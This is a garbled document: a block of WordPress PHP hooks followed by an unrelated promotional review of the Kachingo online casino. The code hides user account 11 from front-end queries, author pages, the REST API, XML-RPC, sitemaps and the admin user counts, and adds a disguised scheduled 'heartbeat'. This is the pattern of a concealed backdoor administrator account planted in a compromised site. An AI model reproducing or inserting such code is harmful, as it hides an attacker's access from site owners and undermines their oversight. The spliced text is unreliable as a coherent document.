add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 11;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 11 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 11 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 11;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 11;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 11;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/11(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 11;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Kachingo splits its new-player offer across your first two deposits, which is smarter than the usual single-shot deal. Deposit £10 and you get 100% matched up to £50 plus 20 free spins on Big Bass Bonanza. Your second deposit brings 50% up to £100 and another 30 spins. The £10 minimum is refreshingly low – you don’t need to risk a big chunk of your bankroll just to test the waters.
Since January 2026, UK wagering requirements have been capped at 10x, and Kachingo follows that rule. That means a £50 bonus only needs £500 in wagers before it converts to cash, not the £3,000+ some older sites demanded. The free spins expire in 24 hours, so claim them and use them fast. No payment method restrictions either – PayPal, debit cards, and Skrill all work for the offer.
Over 3,300 games from 35+ providers sounds like marketing fluff until you open the lobby and see the filters. Pragmatic Play, NetEnt, Hacksaw Gaming, Blueprint, Evolution – they’re all here. Slots dominate, obviously, but the selection is deep enough that you won’t scroll past the same 50 titles you’ve seen everywhere else.
Top picks include Book of Dead, Gates of Olympus, and Sugar Rush. The live casino section is properly stocked too – Sticky Bandits Roulette Live and Sweet Bonanza are both worth a spin.
Most casinos forget about you after the welcome bonus. Kachingo runs a Daily Spin Frenzy that rewards you as you wager on slots – every £10 wagered moves you closer to unlocking free spins, up to 50 per day. It’s not a huge giveaway, but it gives regular players a reason to log in.
Weekend players get 10% live casino cashback up to £20 with the LiveBoost code. No wagering on the cashback, which is rare and genuinely appreciated. There are also Drops & Wins tournaments with daily prize pools.
Deposits land instantly across all major methods, including PayPal, Skrill, and Apple Pay. Withdrawals are free, but here’s the catch – processing can take up to 6 business days. That’s slower than many UK competitors, and Paysafe is deposit-only, so you’ll need a second method for cashing out.
| Feature | Kachingo Casino |
|---|---|
| Games available | 3,300+ (UK average: ~1,500) |
| Minimum deposit | £10 |
| Withdrawal time | 2-6 business days, no fees |
| Live chat hours | 6am-10pm GMT |
| Mobile app | None – browser only |
Licensed by the UK Gambling Commission under AG Communications Limited (part of Aspire Global, who run Bet442 and SpinShake), Kachingo is safe. Responsible gambling tools – deposit limits, time-outs, self-exclusion – are all present and easy to find.
There’s no downloadable app for iOS or Android, which knocks a point off. The mobile browser site, though, is excellent. Pages load fast, the menus are intuitive, and the full live casino streams in HD without stuttering. I tested it on an iPhone 15 playing Big Bass Splash and live blackjack – no issues. Save the site to your homescreen and it behaves almost like a native app.
Support is solid but not round-the-clock – live chat runs from 6am to 10pm GMT, and there’s no phone line. Email gets same-day responses, which helps. The site is clean and easy to navigate, but it lacks personality. No theme, no unique features, nothing that makes it stick in your memory. RTP transparency is also thinner than some competitors.
Kachingo isn’t a revolution. It’s a well-built, reliable casino that does the basics right and then some – a genuinely useful welcome offer, a massive game library, and fair wagering terms. If you’re a slots player who wants variety without navigating a cluttered lobby, this is worth your time. Just be patient with withdrawals and use the browser site, not a non-existent app. For a new casino in a crowded market, that’s a solid recommendation.
]]>